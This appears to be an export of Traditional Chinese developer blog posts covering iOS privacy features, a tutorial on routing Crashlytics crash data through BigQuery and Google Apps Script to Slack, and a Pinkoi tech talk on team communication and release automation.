上說明使用者哪些資料會被追蹤及如何應用 。詳細說明可參考:「 App privacy details on the App Store 」。個人隱私資料細微控制: iOS ≥ 14 開始,位置及相片存取可以更細微的控制,可以只授權取用某幾張相片、只允許 App 使用中存取位置。測試專案 iOS ≥ 15,增加 CLLocationButton 按鈕提升使用者體驗,可以在未詢問/未同意情況下透過使用者點擊取得當前位置,此按鈕無法客製化、只能透過使用者操作觸發。個人隱私取用提示: iOS ≥ 15,增加個人隱私功能的取用提示,如:剪貼簿、位置、相機、麥克風App 隱私取用報告: iOS ≥ 15,可以匯出近 7 天手機所有 App 的隱私相關功能取用、網路活動的紀錄報告。 因紀錄報告檔案是 .ndjson 純文字檔,直接查看不易;可以先在 App Store 下載「 隱私洞見 」App 用來查看報告 到設定 -> 隱私權 -> 最下方「紀錄 App 活動」-> 啟用紀錄 App 活動 儲存 App 活動 選擇「匯入到 隱私洞見 」 匯入完成後即可檢視隱私報告可以看到同 新聞 所說,Wechat 的確會再啟動 App 時在背景偷偷讀取相片資訊。 另外我也多抓到幾個中國 App 也會偷做事,直接在設定全部禁用它們的權限了。 要不是有這個功能讓他們見光死,還不知道我們的資料會被竊取多久!RecapApple’s privacy principles了解完歷年對於隱私功能的調整後,我們回頭來看蘋果的隱私原則: Data Minimization:蘋果用技術手段限制取用需要的資料 On-Device Processing:隱私資料不上傳雲端,一切都在本地處理;如 Safari Private Click Measurement、蘋果的 機器學習 SDK CoreML 也都是在本地執行、iOS ≥ 15 的 Siri/相機原況文字功能、Apple Map、News、相片識別功能…等等 User Transparency and Control:新增的各種隱私存取提示、紀錄報告及隱私細微控制功能 Security:資料儲存傳遞的安全,不濫用 UserDefault、iOS 15 可以直接用 CryptoKit 來做點對點加解密、Private Realy 的傳輸安全破碎資料回到最一開始用技術手段拼湊出哈里的關聯圖,網站與網站或 App 之間被堵死,只剩剪貼還能用,但會有提示。服務註冊跟第三方登入的個資,可以改用 Sign in with apple 和 hide my email 功能防堵;或是多使用 iOS 原生 App。線下活動或許可以改 Apple Card 防止隱私外洩? 已沒有人有機會拼湊出哈里的活動輪廓。Apple 以人為本因此「以人為本」是我會給蘋果的理念的代名詞,要與商業市場唱反調需要很大的信念;與它相關的「以科技為本」是我會給 Google 的代名詞,因為 Google 總能造出很多 Geek 科技項目;最後「以商業為本」是我會給 Facebook 的代名詞,因為 FB 在很多層面上都只追求商業收益。除了針對隱私功能的調整,這幾年的 iOS 也不斷加強防止手機沈迷的功能,推出了「螢幕使用時間報告」、「App 使用時間限制」、「專注模式」…等等功能;幫助大家解除手機成癮。最後希望大家都能 重視個人隱私 不被資本控制 減少虛擬成癮 防止社會沈淪 在現實世界活出精彩人生!Private Relay/IDFA/Pasteboard/Location 測試專案:參考資料 WWDC 2021 — Apple’s privacy pillars in focus Apple privacy white paper — A Day in the Life of Your Data WWDC 2021 — Get ready for iCloud Private Relay WWDC 2021 — Meet privacy-preserving ad attribution iOS 14 剪貼簿竊資恐慌,隱私與便利的兩難 iOS Deferred Deep Link 延遲深度連結實作(Swift) iOS UUID 的那些事 (Swift/iOS ≥ 6)有任何問題及指教歡迎 與我聯絡 。===本文首次發表於 Medium ➡️ 前往查看" }, { "title": "Crashlytics + Big Query 打造更即時便利的 Crash 追蹤工具", "url": "/posts/e77b80cc6f89/", "categories": "ZRealm, Dev.", "tags": "ios-app-development, crashlytics, firebase, bigquery, slack", "date": "2021-10-19 22:33:30 +0800", "snippet": "Crashlytics + Big Query 打造更即時便利的 Crash 追蹤工具串接 Crashlytics 和 Big Query 自動轉發閃退記錄到 Slack Channel成果Pinkoi iOS Team 實拍圖先上成果圖,每週定時查詢 Crashlytics 閃退紀錄;篩選出閃退次數前 10 多的問題;將訊息發送到 Slack Channel,方便所有 iOS 隊友快速了解...", "content": "Crashlytics + Big Query 打造更即時便利的 Crash 追蹤工具串接 Crashlytics 和 Big Query 自動轉發閃退記錄到 Slack Channel成果Pinkoi iOS Team 實拍圖先上成果圖,每週定時查詢 Crashlytics 閃退紀錄;篩選出閃退次數前 10 多的問題;將訊息發送到 Slack Channel,方便所有 iOS 隊友快速了解目前穩定性。問題於 App 開發者來說 Crash-Free Rate 可以說是最重要的衡量指標;數據代表的意思是 App 的使用者 沒遇到 閃退的比例,我想不管是什麼 App 都應該希望自己的 Crash-Free Rate ~= 99.9%;但現實是不可能的,只要是程式就可能會有 Bug 更何況有的閃退問題是底層(Apple)或第三方 SDK 造成的,另外隨著 DAU 體量不同,也會對 Crash-Free Rate 有一定影響,DAU 越高越容易踩到很多偶發的閃退問題。既然 100% 不會閃退的 App 並不存在,那如何追蹤、處理閃退就是一件很重要的事;除了最常見的 Google Firebase Crashlytics (前生 Fabric) 外其實還有其他選擇 Bugsnag 、 Bugfender …各工具我沒有實際比較過,有興趣的朋友可以自行研究;如果是用其他工具就用不到本篇文章要介紹的內容了。Crashlytics選擇使用 Crashlytics 有以下好處: 穩定,由 Google 撐腰 免費、安裝便利快速 除閃退外,也可 Log Error Event (EX: Decode Error) 一套 Firebase 即可打天下:其他服務還有 Google Analytics、Realtime Database、Remote Config、Authentication、Cloud Messaging、Cloud Storage… 題外話:不建議正式的服務完全使用 Firebase 搭建,因為後期流量起來後的收費會很貴…就是個養套殺的概念。Crashlytics 缺點也很多: Crashlytics 不提供 API 查詢閃退資料 Crashlytics 僅會儲存近 90 天閃退紀錄 Crashlytics 的 Integrations 支援跟彈性極差最痛的就是 Integrations 支援跟彈性極差再加上又沒有 API 可以自己寫腳本串閃退資料;只能三不五時靠人工手動上 Crashlytics 查看閃退紀錄,追蹤閃退問題。Crashlytics 只支援的 Integrations: [Email 通知] — Trending stability issues (越來越多人遇到的閃退問題) [Slack, Email 通知] — New Fatal Issue (閃退問題) [Slack, Email 通知] — New Non-Fatal Issue (非閃退問題) [Slack, Email 通知] — Velocity Alert (數量突然一直上升的閃退問題) [Slack, Email 通知] — Regression Alert (已 Solved 但又出現的問題) Crashlytics to Jira issue以上 Integrations 的內容、規則都無法客製化。最一開始我們直接使用 2.New Fatal Issue to Slack or Email,to Email 的話再由 Google Apps Script 觸發後續處理腳本 ;但是這個通知會瘋狂轟炸通知頻道,因為不管是大是小或只是使用者裝置、iOS 本身很零星的問題造成的閃退都會通知;隨著 DAU 增長每天都被這通知狂轟濫炸,而其中真的有價值,很多人踩到而且是跟我們程式錯誤有關的通知大概只佔其中的 10%。以至於根本沒有解決 Crashlytics 難以自動追蹤的問題,一樣要花很多時間在審閱這個問題究竟重不重要之上。Crashlytics + Big Query轉來轉去只找到這個方法,官方也只提供這個方法;這就是免費糖衣下的陷阱,我猜不管是 Crashlytics 或 Analytics Event 都不會也沒有計劃推出 API 讓使用者可以串 API 查資料;因為官方的唯一建議就是把資料匯入到 Big Query 使用,而 Big Query 超過免費儲存與查詢額度是要收費的。 儲存:每個月前 10 GB 為免費。 查詢:每個月前 1 TB 為免費。 (查詢額度的意思是下 Select 時處理了多少容量的資料) 詳細可參考 Big Query 定價說明Crashlytics to Big Query 的設定細節可參考 官方文件 ,需啟用 GCP 服務、綁定信用卡…等等。開始使用 Big Query 查詢 Crashlytics Log設好 Crashlytics Log to Big Query 匯入週期&完成第一次匯入有資料後,我們就能開始查詢資料囉。首先到 Firebase 專案 -> Crashlytics -> 列表右上方的「•••」-> 點擊前往「BigQuery dataset」。前往 GCP -> Big Query 後可在左方「Exploer」中選擇「firebase_crashlytics」->選擇你的 Table 名稱 ->「Detail」 -> 右邊可查看 Table 資訊,包含最新修改時間、已使用容量、儲存期限…等等。 確認已有匯入的資料可查詢。上方 Tab 可切換到「SCHEMA」查看 Table 的欄位資訊或參考 官方文件 。點擊右上方的「Query」可開啟帶有輔助 SQL Builder 的介面(如對 SQL 不熟建議使用這個):或直接點「COMPOSE NEW QUERY」開一個空白的 Query Editor:不管是哪種方法,都是同個文字編輯器;在輸入完 SQL 之後可以預先在右上方自動完成 SQL 語法檢查和預計會花費的查詢額度( This query will process XXX when run. ):確認要查詢後點左上方「RUN」執行查詢,結果會在下方 Query results 區塊顯示。 ⚠️ 按下「RUN」執行查詢後就會累積到查詢額度,然後進行收費;所以請注意不要亂下 Query。如對 SQL 較陌生可以先了解基本用法,然後參考 Crashlytics 官方的範例下去魔改 :1.統計近 30 日每天的閃退次數:SELECT COUNT(DISTINCT event_id) AS number_of_crashes, FORMAT_TIMESTAMP(\"%F\", event_timestamp) AS date_of_crashesFROM `你的ProjectID.firebase_crashlytics.你的TableName`GROUP BY date_of_crashesORDER BY date_of_crashes DESCLIMIT 30;2.查詢近 7 天最常出現的 TOP 10 閃退:SELECT DISTINCT issue_id, COUNT(DISTINCT event_id) AS number_of_crashes, COUNT(DISTINCT installation_uuid) AS number_of_impacted_user, blame_frame.file, blame_frame.lineFROM `你的ProjectID.firebase_crashlytics.你的TableName`WHERE event_timestamp >= TIMESTAMP_SUB(CURRENT_TIMESTAMP(),INTERVAL 168 HOUR) AND event_timestamp < CURRENT_TIMESTAMP()GROUP BY issue_id, blame_frame.file, blame_frame.lineORDER BY number_of_crashes DESCLIMIT 10; 但官方範例這個下法查出來的資料跟 Crashlytics 看到的排序不一樣,應該是它用 blame_frame.file (nullable), blame_frame.line (nullable) 去 Group 的原因導致。3.查詢近 7 天最常閃退的 10 種裝置:SELECT device.model,COUNT(DISTINCT event_id) AS number_of_crashesFROM `你的ProjectID.firebase_crashlytics.你的TableName`WHERE event_timestamp >= TIMESTAMP_SUB(CURRENT_TIMESTAMP(), INTERVAL 168 HOUR) AND event_timestamp < CURRENT_TIMESTAMP()GROUP BY device.modelORDER BY number_of_crashes DESCLIMIT 10;更多範例請參考 官方文件 。 如果你下的 SQL 無任何資料,請先確定指定條件的 Crashlytics 資料已匯入 Big Query(例如預設的 SQL 範例會查當天 Crash 紀錄,但其實資料還沒同步匯入進來,所以會查不到);如果確定有資料,再來檢查篩選條件是否正確。Top 10 Crashlytics Issue Big Query SQL這邊參考第 2. 的官方範例修改,我們希望的結果是跟我們看 Crashlytics 第一頁時一樣的閃退問題及排序資料。近 7 日閃退問題的 Top 10:SELECT DISTINCT issue_id, issue_title, issue_subtitle, COUNT(DISTINCT event_id) AS number_of_crashes, COUNT(DISTINCT installation_uuid) AS number_of_impacted_user FROM `你的ProjectID.firebase_crashlytics.你的TableName`WHERE is_fatal = true AND event_timestamp >= TIMESTAMP_SUB( CURRENT_TIMESTAMP(), INTERVAL 7 DAY ) GROUP BY issue_id, issue_title, issue_subtitle ORDER BY number_of_crashes DESC LIMIT 10;比對 Crashlytics 的 Top 10 閃退問題結果,符合✅。使用 Google Apps Script 定期查詢&轉發到 Slack前往 Google Apps Script 首頁 -> 登入與 Big Query 同個帳戶 -> 點左上角「新專案」,開啟新專案後可點左上方重新命名專案。首先我們先完成串接 Big Query 取得查詢資料:參考 官方文件 範例,將上面的 Query SQL 帶入。function queryiOSTop10Crashes() { var request = { query: 'SELECT DISTINCT issue_id, issue_title, issue_subtitle, COUNT(DISTINCT event_id) AS number_of_crashes, COUNT(DISTINCT installation_uuid) AS number_of_impacted_user FROM `firebase_crashlytics.你的TableName` WHERE is_fatal = true AND event_timestamp >= TIMESTAMP_SUB( CURRENT_TIMESTAMP(), INTERVAL 7 DAY ) GROUP BY issue_id, issue_title, issue_subtitle ORDER BY number_of_crashes DESC LIMIT 10;', useLegacySql: false }; var queryResults = BigQuery.Jobs.query(request, '你的ProjectID'); var jobId = queryResults.jobReference.jobId; // Check on status of the Query Job. var sleepTimeMs = 500; while (!queryResults.jobComplete) { Utilities.sleep(sleepTimeMs); sleepTimeMs *= 2; queryResults = BigQuery.Jobs.getQueryResults(projectId, jobId); } // Get all the rows of results. var rows = queryResults.rows; while (queryResults.pageToken) { queryResults = BigQuery.Jobs.getQueryResults(projectId, jobId, { pageToken: queryResults.pageToken }); Logger.log(queryResults.rows); rows = rows.concat(queryResults.rows); } var data = new Array(rows.length); for (var i = 0; i < rows.length; i++) { var cols = rows[i].f; data[i] = new Array(cols.length); for (var j = 0; j < cols.length; j++) { data[i][j] = cols[j].v; } } return data}query: 餐數可任意更換成寫好的 Query SQL。回傳的物件結構如下:[ [ \"67583e77da3b9b9d3bd8feffeb13c8d0\", \"<compiler-generated> line 2147483647\", \"specialized @nonobjc NSAttributedString.init(data:options:documentAttributes:)\", \"417\", \"355\" ], [ \"a590d76bc71fd2f88132845af5455c12\", \"libnetwork.dylib\", \"nw_endpoint_flow_copy_path\", \"259\", \"207\" ], [ \"d7c3b750c3e5587c91119c72f9f6514d\", \"libnetwork.dylib\", \"nw_endpoint_flow_copy_path\", \"138\", \"118\" ], [ \"5bab14b8f8b88c296354cd2e\", \"CoreFoundation\", \"-[NSCache init]\", \"131\", \"117\" ], [ \"c6ce52f4771294f9abaefe5c596b3433\", \"XXX.m line 975\", \"-[XXXX scrollToMessageBottom]\", \"85\", \"57\" ], [ \"712765cb58d97d253ec9cc3f4b579fe1\", \"<compiler-generated> line 2147483647\", \"XXXXX.heightForRow(at:tableViewWidth:)\", \"67\", \"66\" ], [ \"3ccd93daaefe80f024cc8a7d0dc20f76\", \"<compiler-generated> line 2147483647\", \"XXXX.tableView(_:cellForRowAt:)\", \"59\", \"59\" ], [ \"f31a6d464301980a41367b8d14f880a3\", \"XXXX.m line 46\", \"-[XXXX XXX:XXXX:]\", \"50\", \"41\" ], [ \"c149e1dfccecff848d551b501caf41cc\", \"XXXX.m line 554\", \"-[XXXX tableView:didSelectRowAtIndexPath:]\", \"48\", \"47\" ], [ \"609e79f399b1e6727222a8dc75474788\", \"Pinkoi\", \"specialized JSONDecoder.decode<A>(_:from:)\", \"47\", \"38\" ]]可以看到是一個二維陣列。加上轉發 Slack 的 Function:在上述程式碼下方繼續加入新 Function。function sendTop10CrashToSlack() { var iOSTop10Crashes = queryiOSTop10Crashes(); var top10Tasks = new Array(); for (var i = 0; i < iOSTop10Crashes.length ; i++) { var issue_id = iOSTop10Crashes[i][0]; var issue_title = iOSTop10Crashes[i][1]; var issue_subtitle = iOSTop10Crashes[i][2]; var number_of_crashes = iOSTop10Crashes[i][3]; var number_of_impacted_user = iOSTop10Crashes[i][4]; var strip_title = issue_title.replace(/[\\<|\\>]/g, ''); var strip_subtitle = issue_subtitle.replace(/[\\<|\\>]/g, ''); top10Tasks.push(\"<https://console.firebase.google.com/u/1/project/你的ProjectID/crashlytics/app/你的專案ID/issues/\"+issue_id+\"|\"+(i+1)+\". Crash: \"+number_of_crashes+\" 次 (\"+number_of_impacted_user+\"人) - \"+strip_title+\" \"+strip_subtitle+\">\"); } var messages = top10Tasks.join(\"\\n\"); var payload = { \"blocks\": [ { \"type\": \"header\", \"text\": { \"type\": \"plain_text\", \"text\": \":bug::bug::bug: iOS 近 7 天閃退問題排行榜 :bug::bug::bug:\", \"emoji\": true } }, { \"type\": \"divider\" }, { \"type\": \"section\", \"text\": { \"type\": \"mrkdwn\", \"text\": messages } }, { \"type\": \"divider\" }, { \"type\": \"actions\", \"elements\": [ { \"type\": \"button\", \"text\": { \"type\": \"plain_text\", \"text\": \"前往 Crashlytics 查看近 7 天紀錄\", \"emoji\": true }, \"url\": \"https://console.firebase.google.com/u/1/project/你的ProjectID/crashlytics/app/你的專案ID/issues?time=last-seven-days&state=open&type=crash&tag=all\" }, { \"type\": \"button\", \"text\": { \"type\": \"plain_text\", \"text\": \"前往 Crashlytics 查看近 30 天紀錄\", \"emoji\": true }, \"url\": \"https://console.firebase.google.com/u/1/project/你的ProjectID/crashlytics/app/你的專案ID/issues?time=last-thirty-days&state=open&type=crash&tag=all\" } ] }, { \"type\": \"context\", \"elements\": [ { \"type\": \"plain_text\", \"text\": \"Crash 次數及發生版本僅統計近 7 天之間數據,並非所有資料。\", \"emoji\": true } ] } ] }; var slackWebHookURL = \"https://hooks.slack.com/services/XXXXX\"; //更換成你的 in-coming webhook url UrlFetchApp.fetch(slackWebHookURL,{ method : 'post', contentType : 'application/json', payload : JSON.stringify(payload) })} 如果不知道怎麼取得 in-cming WebHook URL 可以參考 此篇文章 的「取得 Incoming WebHooks App URL」章節。測試&設定排程此時你的 Google Apps Script 專案應該會有上述兩個 Function。接下來請在上方的選擇「sendTop10CrashToSlack」Function,然後點擊 Debug 或 Run 執行測試一次;因第一次執行需要完成身份驗證,所以請至少執行過一次再進行下一步。執行測試一次沒問題後,可以開始設定排程自動執行:於左方選擇鬧鐘圖案,再選擇右下方「+ Add Trigger」。第一個「Choose which function to run」(需要執行的 function 入口) 請改為 sendTop10CrashToSlack ,時間週期可依個人喜好設定。 ⚠️⚠️⚠️ 請特別注意每次查詢都會累積然後收費的,所以千萬不要亂設定;否則可能被排程自動執行搞到破產。完成範例成果圖現在起,你只要在 Slack 上就能快速追蹤當前 App 閃退問題;甚至直接在上面進行討論。App Crash-Free Users Rate?如果你想追的是 App Crash-Free Users Rate,可參考下篇「 Crashlytics + Google Analytics 自動查詢 App Crash-Free Users Rate 」===本文首次發表於 Medium ➡️ 前往查看" }, { "title": "2021 Pinkoi Tech Career Talk —  高效率工程團隊大解密", "url": "/posts/11f6c8568154/", "categories": "Pinkoi, Engineering", "tags": "pinkoi, automation, ios-app-development, engineering-mangement, workflow", "date": "2021-09-09 20:13:53 +0800", "snippet": "2021 Pinkoi Tech Career Talk — 高效率工程團隊大解密Pinkoi 高效率工程團隊大解密 Tech Talk 分享高效率工程團隊大解密2021/09/08 19:00 @ Pinkoi x YouratorMy Medium: ZhgChgLi關於團隊Pinkoi 的工作方式是由多個 Squad (小隊)組成: Buyer-Squad :主攻買家端功能 Sel...", "content": "2021 Pinkoi Tech Career Talk — 高效率工程團隊大解密Pinkoi 高效率工程團隊大解密 Tech Talk 分享高效率工程團隊大解密2021/09/08 19:00 @ Pinkoi x YouratorMy Medium: ZhgChgLi關於團隊Pinkoi 的工作方式是由多個 Squad (小隊)組成: Buyer-Squad :主攻買家端功能 Seller-Squad :主攻設計師端功能 Exploring-Squad:主攻瀏覽探索 Ad-Squad:主攻平台廣告 Out-Of-Squad:主要做支援、Infra 或 流程優化每個 Squad 會由各 Function 隊友共同組成,有 PM、Product Designer、Data、Frontend、Backend、iOS、Android…等等;長期、持續性的工作目標都會由 Squad 來完成。除了 Squad 之外也會有些跨團隊 Run 的 Project,多半時中短期的工作目標,可以是發起人或任何職務的隊友擔任 Project Owner,任務完成後即 Close。 文末還有 關於 Pinkoi 的文化是如何支持隊友解決問題 ,如果 對實際做了什麼內容不感興趣的朋友,可直接到頁底查看此章節 。人數規模與效率關係人數規模成長跟工作效率的關係,待過 10 個人的新創到百人的團隊(還沒挑戰過千人)但是光從 10 跳到 100,10 倍的差距在很多事上就很有感了。人少,溝通跟處理事情都很快,走過去討論好,等下就可以馬上給你了;因為「人與人的連結」相當強烈,彼此都能同步協作。但在人多的情況,很難這樣直接溝通,因為一起協作的人變多了,每個都走去講一整個上午就沒了;還有大家互相協作的人也很多,事情只能排優先順序來處理,不是緊急的事不可能馬上給你,這時候就要非同步的等待,去做其他事情。更多職務的人加入,可以讓工作分工更細緻專業、提供更多產能或更好的品質、更快的產出。但如同開頭說的,相對的;會有更多與人的協作,協作相對的就是會有更多溝通時間。還有小問題會被加倍放大,例如本來 1 個人每天都需要花 10 分鐘貼報表,可以接受;但現在假設變 20 個人,乘下來每天都要多花 3 個多小時貼報表;這時候貼報表這件事的優化、自動化就會很有價值,每天省 3 小時,一年工作日抓 250 天,就要多浪費 750 小時。人數規模成長,以 App Team 為例,會有比較密切協作的有這些職務。Backend — API、Product Designer — UI 這不用講,Pinkoi 是國際級的產品所以在功能上的文字都需要 Localization Team 幫我們翻譯,還有因為我們有 Data Team 在做資料搜集分析,所以除了開發功能,還需要與 Data Team 討論事件埋設點。Customer Service 也是會經常與我們有互動關係的 Team,除了使用者有時會直接透過商城評價反應訂單問題,更多的時候是使用者直接留下一顆星說遇到問題,這時候也需要請客服團隊幫忙做深入的詢問,是遇到什麼問題?我們怎麼幫助你?有以上那麼多的協作關係,意味著很多溝通機會。 但要記得,我們不是在逃避或是盡可能減少溝通,優秀的工程師溝通能力也很重要。我們要做的事是聚焦在重要的溝通上,如創意發想、需求內容跟時程的討論;不要浪費時間在重複問題的確認,或發散模糊的溝通,你問我問我他的情況也要避免。尤其疫情時代,溝通時間寶貴,要放在更有價值的討論上。「我以為你以為的我以為的以為」 — 這句話完美詮釋了模糊溝通的後果。不要說工作了,日常生活上我們也很常會遇到因為雙方認知不同導致的誤會,生活上輕鬆自在靠的是彼此的默契;但工作上就不行了,雙方認知不同如果沒深入討論,很容易到產出階段才發現怎麼跟想的都不一樣。介面溝通這邊引入的想法是透過一個共識的介面來做溝通,就類似我們工程物件導向程式設計中, SOLID 原則裡的 依賴反轉原則 Dependency inversion principle (不懂也沒關係);在溝通上也能應用相同的概念。第一步是找出什麼地方是模糊的、每次都要重複確認的溝通,或是需要什麼溝通才能更聚焦有效,甚至只需要這個交付就不需要額外溝通的事。找出問題後就能定義出「介面」,介面就是媒介的意思,可以是一份問件、流程、check list 或工具…等等使用這個「介面」作為彼此溝通的橋樑,介面可以有多個,什麼場景就用什麼介面;遇到相同場景優先使用這個介面來做初步溝通;如果還有需求要溝通,可以基於這個介面深入聚焦的討論問題。App Team 與外部協作關係以下以 App Team 協作為例舉 4 個介面溝通的例子:第一個是與 Backend 協作在沒有任何介面共識前可能會有上圖情況。對於 API 怎麼用,如果單純地將 API Response String 給 App Team 容易有模糊地帶,例如 date 我們怎們知道是 Register Date? 還是 Birthday?,還有範圍很廣,很多欄位需要確認。這個溝通也是重複的,每次有新的 Endpoint 都要再確認一次。這就是很經典的無效溝通案例。App 與 Backend 彼此缺少的就是一個溝通介面,Solution 有很多種,也不一定要用工具;可以只是一份人工維護的文件。這塊 2020 Pinkoi 開發者之夜有跟大家分享過 — by TokiPinkoi 使用的是 Python (FastAPI) 從 API Code 自動產生文件,PHP 可以用 Swagger (之前公司做法);優點是文件的大框架、資料格式都能從 Code 自動產生出來,降低維護成本,只需處理好欄位說明即可。p.s. 目前新的 Python 3 都會使用 FastAPI,舊的部分會逐步更新,暫時先用 PostMan 做為溝通介面。第二個是與 Product Designer 的協作,其實道理上與 Backend 類似,只是問題換成是確認 UI Spec、確認 Flow。色碼、字型如果零散,我們 App 也會很痛苦,撇開需求本來就是這樣,我們不想要有同個 Title 有明明顏色一樣但色碼跑掉或同個位置 UI 不統一的狀況。Solution 最基本的就是要先請設計大大整理好 UI 的元件庫、建立好 Design System (Guideline),並在出 UI 時做好標記。我們在 Code Base 上根據 Design System (Guideline) 去建立相應的 Font、Color、根據元件庫建立出 Button、View。套版的時候統一使用這些已建立好的元件來套版,方便我們直接看 UI 設計稿就能快速對齊。 但這個很容易亂掉,要動態的調整;不能涵蓋太多特例,也不能固守都不擴充。p.s. 在 Pinkoi 與 Product Designer 的協作是互相的,Developer 也能提出更好的做法與 Product Designer 討論。第三個是和 Customer Service 的介面,商城的評價對產品很重要但他卻是一個非常人工跟重複轉介溝通的事。因為要時不時人工上去看一下新評價,如過有客服問題再將問題轉發給客服協助處理,很重複、人工。這個最佳解就是讓商城評價能自動同步到我們的工作平台,可以花 $ 買現有的服務,或是用我開發的 ZhgChgLi / ZReviewTender (2022 新)。 部署方式、教學及技術細節可參考: ZReviewTender — 免費開源的 App Reviews 監控機器人這個機器人就是我們的溝通介面,他會將評價自動轉發到 Slack Channel,大家能快速收到最新評價資訊,並在上面追蹤、溝通討論。最後一個例子,是與 Localization Team 的工作依賴;不管是新功能或修改舊翻譯,都需要等 Localization Team 完成工作交給我們後續協助處理。這個自行開發工具的成本太高,所以直接使用第三方服務來協助我們解除依賴關係。所有翻譯、Key 都由第三方工具管理,我們只要事先定好 Key 就能分頭行動,雙方只要在 Deadline 打包前完成工作即可,不用互相依賴;Localization Team 完成翻譯後,工具會自動觸發 git pull 更新最新的文字檔到專案內。p.s Pinkoi 因很早期就有這流程,當時選用的是 Onesky 不過這幾年有更多優秀的工具可用,可以參考採用其他的。App Team 團隊內互相協作關係剛說的是外部,現在來說內部。在人少或是說一個開發者維護一個專案的時候;你想做什麼就做什麼,你對專案的掌握度、了解程度都很高,問題不大;當然你如果有好的 Sense 就算是一人專案也能做到這邊要提的所有事。但在互相協作的隊友越來越多的情況下,大家都在同個專案底下做事,如果還是各做各的將會是場災難。例如打 API 一下這邊這樣做一下那邊那樣做、很常重造輪子浪費時間或什麼都不 Care 直接隨便弄一弄上線,都會對未來的維護跟可擴充性增加巨大的成本。團隊內與其說是介面,我覺得太見外了;應該要說共識、共鳴更有團隊意識感。最基本的老生常談就是 Coding Style,命名的習慣、位置怎麼放、Delegate 怎麼用…之類;可以以入業界常用的 realm / SwiftLint 進行約束,多國語系語句可以用 freshOS / Localize 整理 (當然,如果你已經是用前文提到的統一由第三方工具管理,就可以不用這個)。第二個是 App 架構,不管是 MVC/MVVM/VIPER/Clean Architecture 都可以,核心重點是乾淨、統一;不用追求一定要潮,統一就好。 Pinkoi App Team 使用的 Clean Architecture 。 之前在 StreetVoice 只是純 MVC 但是是乾淨統一的,協作起來也很順暢。還有 UnitTest,人多很難避免你現在做的邏輯哪一天不小心被改壞;有多寫測試能多一份保障。最後就是文件的部分,關於團隊做事的流程、規格或操作手冊,方便隊友忘記的時候快速翻閱、新人快速上手。除了 Code Level 的介面之外,協作上還有其他介面協助我們提高效率。第一是在需求實作前有一個 Request for comments 的階段,負責開發的人大概說明一下這個需求會怎麼做,然後其他人可以留意見想法。除了可以防止重造輪子之外,還可以集思廣益,例如之後其他人要擴充別人要怎麼用、或日後可能有什麼需求可以列入考量…等等,當局者迷旁觀者清啊。第二是做好 Code Review,把關我們的介面共識有沒有落實,例如:Naming 方式、UI Layout 方法、Delegate 用法、Protocol/Class 宣告…等等還有架構有沒有亂用或趕時間亂寫、發展方向假設要朝全面 Swift 發展,有沒有還在送 OC 的 Code…等等主要是 Review 這些,其次才是功能正不正常…之類的協助。p.s. RFC 的目的是提升工作效率,所以不應該太冗長,甚至嚴重拖累工作進度;可以想成單純的開工前討論環節。統整一下團隊內介面共識的功能,最後提到一個 墜機理論 的 Mindset 我覺得是個不錯的行為基準點。摘錄自 MBA 智庫運用在團隊上就是假設今天所有人都突然消失了,現存的 Code、流程、制度能不能讓新的人快速上手?Recap 介面意義,團隊內的介面是用來增加彼此的共識,團隊外的協作是降低彼此的無效溝通,用介面作為溝通沒截,專注於需求討論。再次重申「介面溝通」不是什麼特別的專有名詞或是工具、工程的東西,他只是個概念,適用於任何職務場景的協作,可以單純只是份文件或流程,順序上要先有這個東西然後才來溝通。這邊假設每次多花的溝通時間是 10 分,團隊 60 人,每個月發生 10 次,一年就浪費了 1,200 小時在無謂的溝通上。提升效率 — 自動化重複性工作第二章節想要跟大家分享一下關於自動化重複工作對於提升工作效率的效果,一樣會以 iOS 為例,但 Android 也是相同的方式。不會提到技術實作細節,單講原理上的可行性。整理一下我們有用到的服務,包括但不限於: Slack:溝通軟體 Fastlane:iOS 自動化腳本工具 Github:Git Provider Github Action:Github 的 CI/CD 服務,後面會介紹 Firebase:Crashlytics、Event、App Distribution (後面會介紹)、Remote Config… Google Apps Script:Google Apps 的外掛腳本程式,後面會介紹 Bitrise:CI/CD Server Onesky:前面有說到,Localization 的第三方工具 Testflight:iOS App 內測平台 Google Calendar:Google 行事曆,後面會介紹用在哪 Asana:專案管理工具釋出測試版的問題第一個要說的重複性問題,是當我們 App 在開發階段想要給其他隊友搶先測試的時候,傳統就是直接借手機來 Build;如果只有 1~2 人問題不大,但是團隊有 20~30 人要測,光幫忙安裝測試版那天就不用工作了,而且若有更新,整個就都要重新來過。另一個方法是使用 TestFlight 作為測試版發布媒介,我覺得也不錯;但有兩個問題,第一個是 Testflight 等同 Production 環境,不是 Debug;第二是當同時開發的需求、同事要測不同需求的隊友很多,Testflight 就會大亂,包版的 Build 也會狂改,但也不是不行。在 Pinkoi 的解法是,首先將「由 App Team 來安裝測試版」這件事拆開,用 Slack WorkFlow 做為 Input UI 來達成,輸入完成後會觸發 Bitrise 跑 Fastlane 腳本去打包上傳測試版 ipa 到 Firebase App Distribution。 Slack Workflow 應用可參考此篇文章: Slack 打造全自動 WFH 員工健康狀況回報系統Firebase App Distribution要測試的隊友,只要照著 Firebase App Distribution 的步驟安裝完憑證、註冊完裝置,就能在上面選擇安裝想要的測試版,或直接回去點信的連結安裝。 但這邊要注意,iOS Firebase App Distribution 佔用的是 Development Device,上限只能只能註冊 100 個裝置,看裝置不看人。 所以可能要跟 TestFlight (by 人,外部測試 1,000 人) 的解法做個權衡。但至少前面的 Slack WorkFlow UI Input 是可以考慮採用的。 如果要做的進階可以開發 Slack Bot,能有更完整更客製化的流程、表單可用。Recap 釋出測試版自動化的成效,最有感的是把整個步驟都搬到雲端上執行,App Team 不需要插手,完全自助式。打包正式版的問題第二個也是 App Team 很常要做的事,打包、送審正式版 App。團隊小的時候,只有單線開發,App 版本更新問題不大,可以很自由也可以很規律。但團隊大,同時有多線的需求在開發跟迭代,就會遇到如上圖的狀況,沒有做好前文說的「介面溝通」就會大家各自上各自的,這會導致 App Team 疲於奔命,因 App 更新的成本比網頁高、過程繁瑣,另一方面頻繁零亂的更新也很干擾使用者。最後是管理問題,如果沒有固定的流程、日期,很難去對每個步驟該做什麼事進行優化。問題如上。解決辦法是導入 Release Train 到開發流程中,核心概念是把版本更新跟專案開發這兩件事分開。我們將日程固定下來,每個階段會做什麼事也定下來: 固定週一早上更新新版 固定週三 Code Freeze (不再 Merge Feature PR) 固定週四開始 QA 固定週五打包正式實際時程(QA 多久)、發版週期(每週、每兩週、每個月)依照各公司狀況可自行調整, 核心就是確定什麼固定什麼時間點做什麼事 。這是國外推友發的版更週期調查,大多是 2 週一次。以每週更新 & 我們多團隊為例,就會如上圖。Release Train 